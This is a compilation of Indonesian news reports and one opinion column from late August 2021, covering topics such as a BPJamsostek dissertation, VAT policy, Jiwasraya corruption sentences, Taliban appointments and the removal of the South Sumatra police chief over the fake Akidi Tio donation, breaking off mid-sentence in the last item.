Jakarta, 26/8 (ANTARA) - Munculnya ragam pekerjaan di masa depan (future jobs) merupakan tantangan utama bagi BPJamsostek dalam mengakuisisi kepesertaan ke dalam program jaminan sosial ketenagakerjaan di Indonesia. Jenis pekerjaan baru yang muncul antara lain digital marketer, web/apps/game developer, big data analyst, drone operator, content creator, youtuber, online driver dan online courier, demikian rilis disertasi doktoral, promovendus Naufal Mahfudz di IPB University Bogor yang diterima di Jakarta, Kamis. "Perlu desain model pengembangan kompetensi praktisi jaminan sosial yang dapat meningkatkan kompetensi SDM BPJamsostek dalam mengakuisisi peserta baru, membina dan mempertahankan peserta yang ada, " ujar Naufal Mahfud. Disertasi itu berjudul Desain Model Pengembangan Kompetensi Praktisi Jaminan Sosial Ketenagakerjaan Menghadapi Pekerjaan Masa Depan. Naufal, Direktur Umum dan SDM BPJamsostek Periode 2016-2021, meraih gelar tertinggi akademis di bidang Manajemen dan Bisnis dari sekolah Bisnis IPB University pada Sidang Promosi Terbuka yang dilaksanakan secara daring, Rabu (25/8). Berdasarkan hasil penelitian Naufal, kompetensi yang harus dikuasai Account Representative masa depan adalah skillset yang terdiri atas kompetensi digital marketing, digital information systems, data interpretation and digital analytics, consumers psychology and empathy, social media communication, creative video content, story-telling, dan developing agents. Naufal menghasilkan tiga novelty (kebaruan) dari penelitiannya yang terkait dengan model pengembangan kompetensi. Pertama, kajian kondisi obyektif kompetensi praktisi jaminan sosial ketenagakerjaan menghadapi pekerjaan masa depan di Indonesia. Kedua, model pengembangan kompetensi praktisi jaminan sosial ketenagakerjaan menghadapi pekerjaan masa depan di Indonesia, untuk menjadi acuan dalam percepatan penerapan standar kompetensi, program pengembangan dan program sertifikasi profesi praktisi bidang jaminan sosial ketenagakerjaan. Ketiga, strategi implementasi standar kompetensi profesi praktisi jaminan sosial ketenagakerjaan di Indonesia secara konsekuen. Penelitian yang dilakukan Naufal menggunakan empat metode yakni Soft System Methodology (SSM), Strategic Assumption Surfacing and Testing (SAST), Analytical Hierarchy Process (AHP), dan Interpretive Structural Modeling (ISM) untuk mendesain model pengembangan kompetensi praktisi jaminan sosial ketenagakerjaan di Indonesia yang menghasilkan praktisi yang kompeten dalam menghadapi pekerjaan masa depan. Bertindak sebagai Ketua Komisi Pembimbing adalah Prof. Dr. Arif Satria, MSi, Rektor IPB University, dengan Anggota Komisi Pembimbing yaitu Prof. Dr. Aida Vitayala S. Hubeis, Dr. Ir. Arif Imam Suroso, MSc, dan Dr. Ir. Zaim Uchrowi, MDM. Penguji adalah Prof. Dr. H. Bomer Pasaribu, SH, SE, MH, Menaker 1999-2000, dan Dr. Ir. Anggraini Sukmawati dari Fakultas Ekonomi dan Manajemen IPB. Sidang Promosi Terbuka dipimpin Dekan Sekolah Bisnis, Prof. Dr. Ir. Noer Azam Achsani, MS, dan Ketua Program Studi Program Doktor Manajemen dan Bisnis, Prof. Dr. Ir. M. Syamsul Maarif, M.Eng. Naufal menyelesaikan pendidikan S2 di Sekolah Tinggi Manajemen PPM, Jakarta, S1 di Jurusan Sosial Ekonomi Perikanan IPB, serta beberapa pendidikan non degree, antara lain di Harvard Business School (USA), University of California, Berkeley (USA), Nikkeiren International Cooperation Center (Japan), dan CGK School of Business (China). Saat ini Naufal ikut PPSA Angkatan XXIII di Lembaga Ketahanan Nasional (Lemhannas) RI. Sebelum di BPJamsostek, Naufal berkarir di Perum Lembaga Kantor Berita Nasional Antara (2008-2016) sebagai Direktur SDM dan Umum, PT Sony Indonesia (2007-2008), dan PT Wijaya Karya (Persero) tahun 1995-2007. Selama kurang lebih 30 tahun meniti karir sebagai profesional, Naufal secara individu dan bersama organisasi tempat ia bekerja, meraih lebih dari 20 penghargaan di bidang organisasi dan human capital tingkat nasional maupun global.

Dokter Sarankan Jemur Alas Kaki dan Tas Seusai Dipakai

Jakarta, FNN - Dokter Satyanaya Widyaningrum dari Fakultas Kedokteran Universitas Indonesia mengatakan, sebagai bagian perilaku hidup bersih dan sehat, masyarakat disarankan membersihkan barang seusai dipakai, kemudian menjemurnya di bawah sinar matahari untuk barang-barang yang dipakai berulang kali seperti sepatu, sandal dan tas. Selain mencuci tangan dengan air mengalir dan sabun setibanya di rumah, dr Satyanaya mengatakan, Anda juga bisa membersihkan permukaan benda-benda yang dipakai dan yang sering disentuh tangan. "Kalau untuk sepatu dan tas, dengan sinar matahari cukup," kata Satyanaya kepada ANTARA, Kamis. "Tanpa adanya virus corona sekali pun, tidak ada salahnya kita melakukan kebiasaan ini," katanya. Jangan lupakan benda-benda yang sering dipakai seperti kacamata dan telepon genggam yang tetap disentuh selama bepergian ke luar rumah. Tidak ada rekomendasi berapa jam sekali barang seperti itu harus dibersihkan, tapi Satyanaya menganjurkan Anda untuk membersihkannya bila dirasa sudah banyak bersentuhan dengan banyak tangan. Bersihkan seluruh permukaan kacamata, mulai dari lensa hingga penyangga di bagian hidung yang langsung bersentuhan dengan kulit, juga bagian pinggiran lensa dan frame kcamata. Dia menambahkan soal anggapan bahwa kacamata bisa membantu melindungi seseorang dari droplet. Dia menjelaskan, kacamata pelindung seperti goggle standard yang menutup rapat bisa membantu seseorang dari droplet yang menyebarkan virus corona. Sementara kacamata biasa yang dipakai sehari-hari hanya melindungi dari depan, bagian pinggirnya terbuka lebar sehingga tetap ada risiko droplet masuk lewat situ. "Walau dengan goggle, tidak menutup kemungkinan masih bisa terkena," katanya. Oleh karena itu, dia mengingatkan untuk selalu menerapkan protokol kesehatan, mengenakan masker, menjaga jarak, rutin mencuci tangan dengan sabun dan air mengalir, menjauhi kerumunan serta tidak keluar rumah bila bukan urusan penting. Saat ingin bepergian, Anda bisa membawa baju ganti jika tempat yang dituju memiliki fasilitas lengkap untuk mengurangi risiko penyebaran virus. Jika kantor Anda memiliki fasilitas kamar mandi, tidak ada salahnya mandi dan berganti baju untuk memastikan kebersihan tubuh dan pakaian Anda setelah melewati perjalanan dari rumah. (mth)

Pengusaha Ritel Minta Pemerintah Tinjau Ulang Usulan Kenaikan Pajak

Jakarta, FNN - Asosiasi Pengusaha Ritel Indonesia (Aprindo) meminta pemerintah meninjau ulang peningkatan biaya pajak pertambahan nilai dan penetapan pajak multi tarif. Ketua Umum Aprindo Roy Nicholas Mandey mengatakan peningkatan tarif maupun penerapan multi tarif pajak pertambahan nilai saat pandemi kurang tepat lantaran sektor ritel modern sedang terpuruk. "Hampir 1.500 gerai ritel modern berhenti beroperasi dalam kurung waktu 18 bulan terakhir," kata Roy dalam keterangan yang dikutip di Jakarta, Kamis. Aprindo menilai kenaikan tarif pajak pertambahan nilai dari 10 persen menjadi 12 persen akan berdampak terhadap penurunan daya beli masyarakat, sehingga memupuskan upaya menjaga konsumsi rumah tangga sebagai kontributor terbesar penggerak pertumbuhan ekonomi nasional. Pada kuartal II 2021, konsumsi rumah tangga masih dominan dalam memberikan kontribusi terhadap pertumbuhan ekonomi dengan sumbangan mencapai 55,07 persen pertumbuhan domestik bruto. "Kenaikan tarif pajak akan meningkatkan laju inflasi seiring dengan kenaikan harga barang," ujar Roy. Lebih lanjut dia menambahkan situasi itu akan lebih tergerus lagi saat dikenakan sistem multi tarif terendah lima persen dan tertinggi 15 persen. Peningkatan pajak multi tarif akan membebani masyarakat berpenghasilan rendah atau marginal senilai lima persen, padahal sebelumnya mereka tidak terkena pajak. Selain itu, dampak perbedaan multi tarif berpotensi membangunkan pasar gelap yang menjadi pilihan utama konsumen maupun peningkatan belanja barang di luar negeri yang harganya lebih bersaing. Roy meminta penangguhan pemberlakuan pajak penghasilan minimal satu persen terhadap pendapatan kotor perusahaan yang berstatus rugi. "Pajak minimal ini akan menambah beban tambahan bagi berbagai sektor termasuk peritel yang mengalami kerugian, sehingga melakukan langkah kebijakan strategis dalam hal penutupan gerai yang berdampak hilangnya investasi hingga PHK massal," pungkasnya. (mth)

Waspada Potensi Hujan Lebat dan Angin Kencang di Sejumlah Provinsi

Jakarta, FNN - Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) mengingatkan masyarakat untuk waspada akan potensi hujan lebat disertai kilat dan angin kencang yang dapat terjadi di sejumlah provinsi di Indonesia pada Kamis. Dalam sistem peringatan dini cuaca, BMKG memprakirakan wilayah yang berpotensi mengalami hujan lebat disertai petir hingga angin kencang seperti di Aceh, Bengkulu, Gorontalo. Kemudian Kalimantan Barat, Kalimantan Selatan, Kalimantan Timur, Kalimantan Utara, Maluku, Papua Barat, Riau, Sulawesi Barat, Sulawesi Tengah, Sulawesi Tenggara, Sulawesi Utara, Sumatera Barat, Sumatera Selatan, dan Sumatera Utara, Khusus di wilayah DKI Jakarta pada Kamis, cuaca sepanjang hari cenderung cerah hingga cerah berawan dengan suhu rata-rata sekitar 23-32 derajat celcius dan kelembaban 50-90 persen. Kepala BMKG Dwikorita Karnawati meminta penyedia layanan angkutan penyeberangan tidak menyepelekan informasi cuaca yang rutin dikeluarkan BMKG. Hal ini sebagai langkah mitigasi dan antisipasi dalam upaya meningkatkan keselamatan transportasi. "Indonesia adalah negara kepulauan dan memiliki banyak sekali pelabuhan dan dermaga yang melayani angkutan penyeberangan. Hampir 65 persen wilayah Indonesia merupakan perairan, maka informasi cuaca laut sangat krusial dalam menciptakan keselamatan transportasi di titik-titik penyeberangan," kata dia. Dwikorita menjelaskan kondisi cuaca sangat berpengaruh terhadap kelancaran dan keamanan transportasi penyeberangan laut. Kemungkinan hujan, badai, angin, dan gelombang tinggi sangat besar terjadi selama perjalanan. Apalagi, kata dia, Indonesia dan negara-negara di dunia tengah menghadapi perubahan iklim yang memicu pergeseran pola musim dan suhu udara sehingga mengakibatkan peningkatan frekuensi dan intensitas bencana hidrometeorologi. "Perubahan cuaca berlangsung sangat cepat dan tidak menentu yang dipengaruhi banyak faktor. Karenanya, kami juga terus berupaya meningkatkan, kecepatan, ketepatan, dan akurasi dalam prakiraan cuaca hingga skala tapak," kata dia. (mth)

Penduduk Asli Brazil Protes Jelang Vonis Penting Atas Tanah Leluhur

Brasilia, FNN - Ratusan anggota masyarakat adat menari dan bernyanyi di luar Mahkamah Agung Brazil pada Rabu (25/8) untuk mendesak para hakim agar tidak memutuskan mendukung batas waktu 1988 (saat ratifikasi Konstitusi Brazil) untuk klaim tanah mereka, sebuah proposal yang didukung oleh sektor pertanian. . Protes itu telah menarik 6.000 warga penduduk asli dari 176 suku yang belum pernah terjadi sebelumnya untuk berkemah di ibu kota Brazil untuk menekan pengadilan agar menolak jangka waktu tersebut, kata penyelenggara. Kekalahan di pengadilan bagi masyarakat adat dapat menjadi preseden bagi kemunduran dramatis hak-hak penduduk asli. Presiden sayap kanan Jair Bolsonaro mendukung preseden bagi kemunduran dramatis itu. Dia mengatakan terlalu sedikit dari mereka yang tinggal di terlalu banyak lahan, menghalangi ekspansi pertanian. “Pemerintah Bolsonaro ingin menyingkirkan kami. Jika terserah dia, tidak akan ada lagi penduduk asli di Brazil,” kata kepala suku Xukuru, Ricardo dari timur laut Brazil. Dia mengenakan hiasan kepala panjang dari bulu macaw biru dan memegang maraca. Para pengunjuk rasa memasang spanduk bertuliskan "Marco Temporal NO" ("Jangka Waktu TIDAK"), menolak kerangka waktu yang diadopsi pada 2016. Hingga sore hari, pengadilan masih belum mulai memperdebatkan masalah tersebut. Putusan itu akan mempengaruhi 230 klaim tanah yang tertunda, banyak di antaranya menawarkan benteng melawan deforestasi di hutan hujan Amazon. Sebagian besar telah menunggu pengakuan selama beberapa dekade. Kepentingan pertanian yang kuat akan memiliki dasar hukum yang lebih kuat untuk menantang klaim tanah adat dan Kongres akan memiliki lampu hijau untuk menulis pembatasan yang ketat tanah adat ke dalam hukum federal. Kasus ini naik ke Mahkamah Agung dalam banding oleh orang-orang Xokleng di negara bagian Santa Catarina selatan terhadap apa yang mereka anggap sebagai interpretasi yang terlalu sempit atas hak-hak adat dengan mengakui hanya tanah yang ditempati oleh masyarakat asli pada saat konstitusi Brazil diratifikasi pada tahun 1988. Suku Xokleng dibersihkan dari tempat berburu tradisional mereka lebih dari satu abad yang lalu untuk memberi ruang bagi pemukim Eropa, kebanyakan orang Jerman yang melarikan diri dari gejolak ekonomi dan politik. Jika mereka memenangkan kasus ini, 830 petani menghadapi penggusuran dari kebun plasma yang telah ditinggali keluarga mereka selama beberapa dekade. (mth)

Samsung Galaxy M32 5G Diluncurkan di India

Jakarta, FNN- Samsung telah mengumumkan kehadiran ponsel kelas menengah Galaxy M32 5G di India, dengan fitur utama di antaranya Dimensity 720 yang menghadirkan jaringan 5G, kamera 48MP dan baterai berkapasitas besar. Galaxy M32 5G memiliki panel LCD 6,5 inci dengan takik Infinity-V. Layar itu menawarkan resolusi HD+ 720 x 1600 piksel, rasio aspek 20:9, dan kecepatan refresh 60Hz. Takik layar menampung kamera selfie berukuran 13MP Sistem kamera belakang M32 5G dilengkapi dengan kamera utama 48MP, kamera ultrawide 8MP, kamera makro 5MP, dan lensa depth assist 2MP. Samsung Galaxy M32 5G ditenagai Chipset Dimensity 720 dengan RAM 6GB dan 8GB serta ruang penyimpanan hingga 128GB. Ponsel ini mendukung ekspansi penyimpanan hingga 1TB melalui kartu microSD. Galaxy M32 5G menjalankan One UI 3.1 berbasis Android 11. Kapasitas baterai yang dihadirkan sebesar 5.000mAh dan mendukung pengisian daya 15W melalui USB-C. Fitur lainnya yang disematkan seperti dukungan SIM ganda, 5G/4G, Wi-Fi 802.11ac, Bluetooth 5.0, GPS, dan jack headphone 3.5mm. Samsung Galaxy M32 5G dirilis di India dengan dua pilihan warna Slate Black dan Sky Blue. Varian 6GB+128GB dibanderol 20,999 Rupee (sekitar Rp4 juta) sedangkan varian 8GB+128GB dijual dengan harga 22,999 Rupee (Sekitar (Rp4,4 juta), demikian dikutip Gizmochina dan GSM Arena, Kamis. (mth)

Harga Emas Terkoreksi Usai Kenaikan Tiga Hari

Chicago, FNN - Harga emas berjangka di divisi COMEX New York Mercantile Exchange Rabu (25/8/2021) waktu setempat, terkoreksi setelah kenaikan dalam tiga hari perdagangan berturut-turut. Kontrak emas teraktif untuk pengiriman Desember turun 17,5 dolar AS atau 0,97 persen menjadi ditutup pada 1.791 dolar per ounce. Kenaikan indeks saham Amerika Serikat juga ikut membuat harga emas terhempas. Departemen Perdagangan AS melaporkan Rabu, pesanan barang-barang tahan lama turun 0,1 persen selama Juli dibandingkan pada Juni yang naik 0,8 persen. Namun data tersebut masih lebih baik dari ekspektasi pasar yang memprediksi penurunan 0,3 persen. Harga perak untuk penurunan September turun 11,9 sen dolar atau 0,5 persen menjadi ditutup 23,77 dolar AS per ounce. Platinum untuk pengiriman Oktober turun 16,6 dolar atau 1,64 persen menjadi ditutup 993,5 dolar AS per ounce. (mth)

Jaksa Eksekusi Enam Koruptor Jiwasraya

Jakarta, FNN - Jaksa eksekutor Kejaksaan Negeri Jakarta Pusat melaksanakan eksekusi putusan Mahkamah Agung (MA) terhadap enam terpidana kasus korupsi dan pencucian uang di PT Asuransi Jiwasraya (Persero). Para koruptor tersebut langsung dijebloskan ke lembaga pemasyarakatan. "Ini merupakan tonggak sejarah baru dalam pemberantasan tindak pidana korupsi di Indonesia, dan membuktikan Kejaksaan Republik Indonesia sangat serius dan melaksanakan tahapan secara profesional," kata Kepala Pusat Penerangan Hukum (Kapuspenkum) Kejagung RI Leonard Eben Ezer Simanjuntak dalam konferensi pers virtual. Keenam koruptor tersebut dieksekusi pada Rabu, 25 Agustus 2021. Leonard menyebutkan, Kejaksaan Negeri Jakarta Pusat telah menerima enam putusan MA yang menjatuhkan putusan tingkat kasasi. Melalui putusan MA tersebut, keenam koruptor tersebut berstatus terpidana. Sebagaimana diberitakan FNN.co.id sebelumnya, dua terpidana divonis MA dengan hukuman pidana seumur hidup. Selain vonis seumur hidup, Heru Hidayat (Komisari PT Trada Alam Minera) dikenakan pidana tambahan berupa denda uang pengganti Rp 10,78 triliun. Sedangkan Benny Tjokrosaputro (Komisatis PT Hanson Internasional) pidana tambahan berupa denda uang pengganti Rp 6,078 triliun. Terpidana direksi Jiwasraya, yakni Mantan Direktur Keuangan Hary Prasetyo, mantan Direktur Utama Hendrisman Rahim, dan mantan Direktur Maxima Integra Joko Hartono Tirto dijatuhi pidana penjaran selama 20 tahun. Sedangkan mantan Kepala Divisi Investasi dan Keuangan Jiwasraya Syahmirwan dihukum pidana penjara selama 18 tahun. Keempat terpidana ini dijatuhi pula pidana denda senilai Rp 1 miliar subsider enam bulan kurungan. Setelah menerima putusan MA tersebut, kata Leonard, jaksa eksekutor Kejari Jakarta Pusat melaksanakan eksekusi dengan mengirim terpidana ke lembaga pemasyarakatan. Terpidana Heru Hidayat, Syahwirman dan Joko Hartono dijebloskan ke Rumah Tahanan (Rutan) Cipinang, Jakarta Timur. Sedangkan Hary Prasetyo dan Hendrisman dieksekusi ke Rutan Salemba, Jakarta Pusat. Sementara Benny Tjokcrosaputro dijembloskan ke Lembaga Pemasyarakatan (Lapas), Cipinang, Jakarta Timur. Menurut Leonard, telah inkrah-nya putusan tersebut, maka jika upaya hukum luar biasa berupa peninjauan kembali (PK) yang mungkin diajukan terpidana tidak menangguhkan eksekusi yang dilakukan jaksa eksekutor sesuai Pasal 66 ayat 2 undang-undang tentang Mahkamah Agung sebagai mana diubah Undang-Undang Nomor 5 Tahun 2004. "Permohonan PK tidak menangguhkan atau menghentikan pelaksanaan putusan pidana," tutur Leonard. (MD).

Luhut Merah atau Merah Putih

By M Rizal Fadillah URUSAN vaksin menjadi genggaman Luhut, apalagi dikaitkan dengan urusan investasi. Alih-alih mendorong berkembang industri vaksin dalam negeri, Luhut malah memproklamasikan akan berdirinya pabrik vaksin kerjasama dengan China di Indonesia pada tahun 2022. Belum jelas apa perusahaan Chinanya, yang jelas nama vaksin itu mRNA. Bagaimana nasib Vaksin Nusantara dan Vaksin Merah Putih karya anak-anak bangsa ? Meski basa-basi akan tetap dikembangkan, namun tidak ada bukti pemihakkan. Nyatanya prioritas justru kerjasama dengan China untuk mendirikan pabrik. Ini sama saja dengan membunuh vaksin dalam negeri. Bagaimana nanti persaingan produksi dalam pemasaran dan pengembangan ? Vaksin China baik Sinovac maupun Sinopharm termasuk vaksin yang paling diperbincangkan efektivitasnya di banding Pfizer, Johnson & Johnson, Astrazeneca atau lainnya. Di masyarakat pun banyak yang mempertanyakan dan meragukan. Jika saja tidak ada pemaksaan mungkin orang banyak yang akan melakukan pilihan. Terlepas dari persaingan politik dan bisnis vaksin asing, putera puteri bangsa kita sendiri terus berusaha melakukan inovasi atas vaksin Covid 19. Vaksin Nusantara yang dipelopori dr Terawan, mantan Menkes, terus diminati. Turki konon memesan 5,2 juta dosis dari vaksin ini. Bahkan Turki menawarkan menjadi lokasi uji klinis fase 3 Vaksin Nusantara. Vaksin Merah Putih vaksin juga terus di diteliti di Lembaga Biologi Molekuler (LBM) Eijkman Bandung dan Universitas Airlangga Surabaya. Vaksin produksi dalam negeri ini harus diproteksi oleh Pemerintah sehingga terjamin baik pemasaran maupun pengembangannya. Investasi dari manapun selayaknya diarahkan pada kemandirian vaksin kita sendiri. Merah putih adalah kobaran nasionalisme melalui vaksinasi. Kini Luhut justru berpaling ke China yang memang ia koordinator urusan China-Indonesia. Tetapi Luhut bukan segalanya sehingga penentuan tidak boleh dilakukan sendiri. Apapun posisinya, Luhut hanya salah satu dari Menteri Kabinet Jokowi. Ini bukan negara Luhut, tetapi Negara Kesatuan Republik Indonesia. Lebih jauh rakyat harus terlibat untuk ikut mempertimbangkan. Ataukah bangsa dan rakyat Indonesia harus mengambil keputusan sendiri yakni tolak vaksin Luhut-China dan pilih vaksin Nusantara atau Merah Putih ? Ini bangsa yang merdeka, mandiri, dan berdaulat. Jangan jual negara ini kepada asing dengan dalih pandemi. Luhut bukan Louis XIV yang dahulu menyatakan di depan Parlemen Paris : "l'etat c'est moi"--Negara adalah aku ! Atau memang Luhut sudah merasa menjadi Louis ? *) Pemerhati Politik dan Kebangsaan

Sri Mulyani: Cadangan Anggaran Vaksin Rp 36 Triliun

Jakarta, FNN - Menteri Keuangan (Menkeu) Sri Mulyani menegaskan tetap mencadangkan anggaran pengadaan vaksin sebesar Rp35 triliun hingga Rp36 triliun dalam Rancangan Anggaran Pendapatan dan Belanja Negara (RAPBN) 2022. "Kalau COVID-19 masih dalam posisi wabah pandemi dan kita harus mencapai kekebalan komunitas atau herd immunity, kami akan memenuhi untuk menggunakan APBN dan itu gratis," ujar Sri Mulyani dalam Konferensi Pers APBN KITA Edisi Agustus 2021 secara daring di Jakarta, Rabu. Namun, ia menjelaskan seiring dengan kemungkinan terjadinya perubahan pandemi COVID-19 menjadi endemik dan ada masyarakat yang ingin mendapatkan vaksin booster, maka akan dibuka program vaksin mandiri. Maka dari itu, kemungkinan adanya vaksinasi mandiri masih akan melihat situasi yang kemungkinan terjadi pada tahun 2022. Sri Mulyani menjelaskan merek dan harga vaksin mandiri nantinya akan ditentukan oleh Menteri Kesehatan bersama Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan. "Mekanismenya akan dibahas kedua pihak tersebut dan mereka akan menentukan mana vaksin yang untuk mandiri dan yang akan gratis," tuturnya. Kendati demikian, Mantan Direktur Pelaksana Bank Dunia tersebut berharap pada tahun 2022 vaksin Merah Putih sudah bisa diproduksi, sehingga bisa mendukung peningkatan pengadaan vaksin di dalam negeri.

Kapolri Mutasi 98 Perwira Termasuk Kapolda Sumsel

Jakarta, FNN - Kapolri Jenderal Pol Listyo Sigit Prabowo melakukan mutasi dan rotasi terhadap 98 orang perwiranya, salah satunya Kapolda Sumatera Selatan Irjen Pol Eko Indra Heri. Mutasi Kapolda Sumatera Selatan dan 97 perwiran Polri lainnya tertuang dalam Surat Telegram Kapolri (ST) No 1701/VIII/KEP/2021 yang ditandatangani oleh Asisten Kapolri Bidang SDM Irjen Pol Wahyu Widada, Rabu tanggal 25 Agustus 2021. Kepala Divisi Humas Polri Irjen Pol Argo Yuwono membenarkan soal mutasi dan rotasi sejumlah perwira Polri termasuk Kapolda Sumatera Selatan Irjen Pol Eko Indra Heri, sebagai penyegaran di organisasi Korps Bhayangkara. "Sudah lama menjadi Kapolda dan untuk penyegaran organisasi," kata Argo. Argo mengatakan mutasi terhadap Kapolda Sumatera Selatan Irjen Pol Eko Indra Heri tidak terkait dengan hasil pemeriksaan Tim Itwasum dan Propam Polri terkait polemik hibah Rp2 triliun dari Almarhum Akidi Tio. "Pindahnya juga dalam level yang sama," ucap Argo. Dalam ST Kapolri tersebut, Kapolda Sumatera Selatan Irjen Pol Eko Indra Heri diangkat dalam jabatan baru sebagai Koorsahli Polri yang sebelumnya dijabat oleh Irjen Pol Teguh Sarwono. Sementara itu, posisi Eko digantikan oleh Irjen Pol Toni Hartono yang sebelumnya menjabat sebagai Kapolda Sumatera Barat. Jabatan Kapolda Sumatera Barat diisi oleh Irjen Teddy Minahasa Putra yang sebelumnya menjabat sebagai Sahlijemen Kapolri. Selain Irjen Eko Indra Heri, Kapolri juga memutasi Kapolda Sulawesi Tengah Irjen Pol Abdul Rakhman Baso sebagai Periwa Tinggi (Pati) Korpbrimob Polri (dalam rangka pensiun). Jabatan Kapolda Sulawesi Tengah digantikan oleh Irjen Pol Rudy Sufahriadi yang sebelumnya menjabat sebagai Sespim Lemdiklat Polri. Kasus hibah Sementara itu, terkait perkembangan kasus hibah Rp2 triliun Akidi Tio, Tim Inspektorat Pengawasan Umum (Itwasum) dan Divisi Propam Polri tengah menyusun laporan hasil pemeriksaan terhadap Irjen Pol Eko Indra Heri. Laporan tersebut akan diserahkan kepada Kapolri Jenderal Listyo Sigit Prabowo sebagai bentuk pertanggungjawaban. Sebelumnya diberitakan, Kepala Polisi Daerah Sumatera Selatan Inspektur Jendral Polisi Eko Indra Heri telah menyampaikan permohonan maaf secara langsung kepada seluruh masyarakat ihwal dana hibah Rp2 triliun dari almarhum Akidi Tio yang belum jelas keberadaannya. Kegaduhan dana hibah tersebut bermula saat itu dirinya dihubungi Kepala Dinas Kesehatan Provinsi Sumatera Selatan Lesty Nurainy dan dokter keluarga almarhum Akidi Tio, Hardi Darmawan di rumah dinasnya, Jumat (23/7), untuk membicarakan pemberian donasi. Saat itu dirinya sebagai kapolda hanya dipercayakan untuk menyalurkan bantuan ini uangnya diminta untuk dikawal transparansinya. Namun, karena menaruh kepercayaan terhadap inisiasi kemanusiaan tersebut lantas tidak terlalu mendalami kepastiannya, sebab sudah diyakinkan uang tersebut tinggal diproses pencairannya saja. Hingga akhirnya sampai saat ini uang tersebut masih belum jelas keberadaannya dan berujung kepelikan bagi kedua belah pihak. Dalam perkara ini penyidik Polda Sumsel telah meminta keterangan sejumlah saksi, yakni Heryanti Tio, Rudi Sutadi, Kelvin (satu keluarga anak alm Akidi Tio), dr Hardi Darmawan (dokter pribadi keluarga) dan satu lain belum diketahui identitasnya. (sws)

Sejumlah Tokoh Lama Taliban Dijadikan Menteri Afghaninstan

Kabul, FNN - Taliban telah menunjuk tokoh-tokoh lama mereka menduduki jabatan menteri keuangan dan menteri pertahanan Afghanistan. Menurut dua anggota Taliban, penunjukan dilakukan pada saat kelompok tersebut mengalihkan fokus dari pengambilalihan kekuatan militer ke upaya bagaimana menjalankan negara dalam krisis. Taliban belum secara resmi mengumumkan penunjukan tersebut, yang dikatakan seorang komandan akan berlaku sementara. Namun, kantor berita Afghanistan, Pajhwok memberitakan pada Selasa (24/8), Gul Agha telah ditetapkan sebagai menteri keuangan dan Sadr Ibrahim sebagai penjabat menteri dalam negeri. Sementara itu, saluran berita Al Jazeera --yang mengutip keterangan seorang sumber di Taliban-- melaporkan mantan tahanan Guantanamo, Mullah Abdul Qayyum Zakir, diangkat sebagai penjabat menteri pertahanan Kemenangan Taliban, yang terjadi secara kilat dan tak disangka-sangka, membuat kelompok itu kini bergulat untuk menjalankan pemerintahan. Taliban telah merebut kendali di semua kantor pemerintahan, istana kepresidenan, dan parlemen. Selain memasukkan tokoh Taliban ke posisi-posisi kunci pemerintahan, kelompok itu mengandalkan para pejabat tingkat lebih rendah untuk memastikan pemerintahan di Kabul tetap berjalan. Seorang pejabat Taliban di Kabul membenarkan sosok-sosok yang mengisi jabatan menteri sudah ditetapkan pekan ini. Pejabat itu menambahkan, orang-orang yang akan menduduki jabatan gubernur akan dipilih dari kalangan komandan Taliban yang paling berpengalaman dalam perang selama 20 tahun, yang baru saja berakhir. Seorang komandan Taliban juga membenarkan, beberapa orang sudah dipilih untuk dijadikan menteri. Namun, ia menekankan, penunjukan itu belum dinyatakan secara resmi. "Tadi malam kami melakukan pertemuan di istana kepresidenan. Kami membahas hal itu, tetapi belum menetapkan atau mengumumkan satu pun," katanya. (MD).

Terkait Sumbangan Rp 2 Triliun, Kapolda Sumsel Dicopot

Jakarta, FNN - Inspektur Jenderal (Irjen) Eko Indra Heri akhirnya dicopot dari jabatannya sebagai Kepala Kepolisian Daerah Sumatera Selatan. Pencopotannya itu diduga ada kaitannya dengan kasus sumbangan Rp 2 triliun dari keluarga Akidi Tio yang ternyata bohong atau hoax. Pencopotannya itu tertuang dalam telegram Kepala Kepolisian Republik Indonesia (Kapolri) bernomor ST/1701/VIII/KEP/2021 tertanggal Rabu 25 Agustus 2021. Dalam telegram yang ditandatangani Asisten Kapolri Bidang Sumber Daya Manusia, Irjen Wahyu Widada tersebut, Eko dimutasi menjadi Koordinator Staf Ahli (Koorsahli) Kapolri. Eko kemudian digantikan oleh Irjen Toni Hermanto. Sebagaimana diketahui, kasus Akidi Tio yang menyumbang Rp 2 triliun melalui Eko Indra Heri membuat heboh di tanah air. Sebab, sumbangan tersebut dimaksudkan membantu pemerintah dalam menangani pandemi Coronavirus Disease 2019 (Covid-19). Akan tetapi, sumbangan yang disampaikan melalui dokter pribadi keluarga Akidi Tio tersebut hingga kini tidak jelas. Malah, salah seorang anak Akidi Tio bernama Heryanti dilaporkan ke Polda Sumsel dalam kasus dugaan penipuan sebesar Rp 2,5 miliar. Pelapornya, Siti Mirza Nuria yang juga merupakan kawan lama Heryanty. Dalam kasus sumbangan bohong Rp 2 triliun, Heryanty sempat dibawa ke Polda Sumsel guna dilakukan pemeriksaan. Bahkan, saat itu polisi sempat mengabarkan dia dijadikan tersangka, meski kemudian kabar tersebut dibantah oleh polisi sendiri. Dokter pribadi keluarga Akidi Tio, Hardi Darmawan juga ikut diperiksa polisi. Akan tetapi, sampai sekarang status keduanya tidak jelas. Malah, Kapolda Sumsel menjadi korban pertama kebohongan mereka. Dalam kaitan dengan uang Rp 2 triliun itu, Irjen Eko Indra Heri telah menjalani pemeriksaan yang dilakukan Tim Pengawasan dan Pemeriksaan Khusus Inspektorat Pengawasan Umum dan Tim Pengamanan Internal Divisi Profesi dan Pengamanan Polri. Hasilnya belum diumumkan, sampai ia dicopot sebagai Kapolda Sumsel. Kepala Divisi Hubungan Masyarakat Mabes Polri Inspektur Jenderal Argo Yuwono mengatakan, hasil pemeriksaan internal itu akan langsung diserahkan kepada Kepala Kepolisian RI Jenderal Listyo Sigit Prabowo. "Tadi saya ketemu Kadiv Propam, sedang dibuat. hasil pemeriksaan. Begitu pun Itwasum. Hasilnya akan diberikan kepada Pak Kapolri," kata dia. Sebelumnya, Eko Indra telah meminta maaf secara terbuka. Ia mengaku tidak hati-hati saat menerima sumbangan Rp 2 triliun itu. Keteledorannya itu membuat kegaduhan di masyarakat. “Saya minta maaf. Ini karena keteledoran saya sebagai pribadi sampai menimbulkan kegaduhan,” kata Eko Indra Heri kepada Tempo, Jumat, 6 Agustus 2021. Eko mengatakan tidak berpikir jauh jika sumbangan fiktif itu akan membuat gaduh. Dia mengatakan bersama rekan-rekannya menerima sumbangan itu atas niat baik, yaitu membantu penanggulangan Covid-19. Eko mengatakan sama sekali tidak menerima keuntungan dari sumbangan itu. Sejak mengatur sumbangan dari keluarga Akidi Tio yang ternyata fiktif itu, 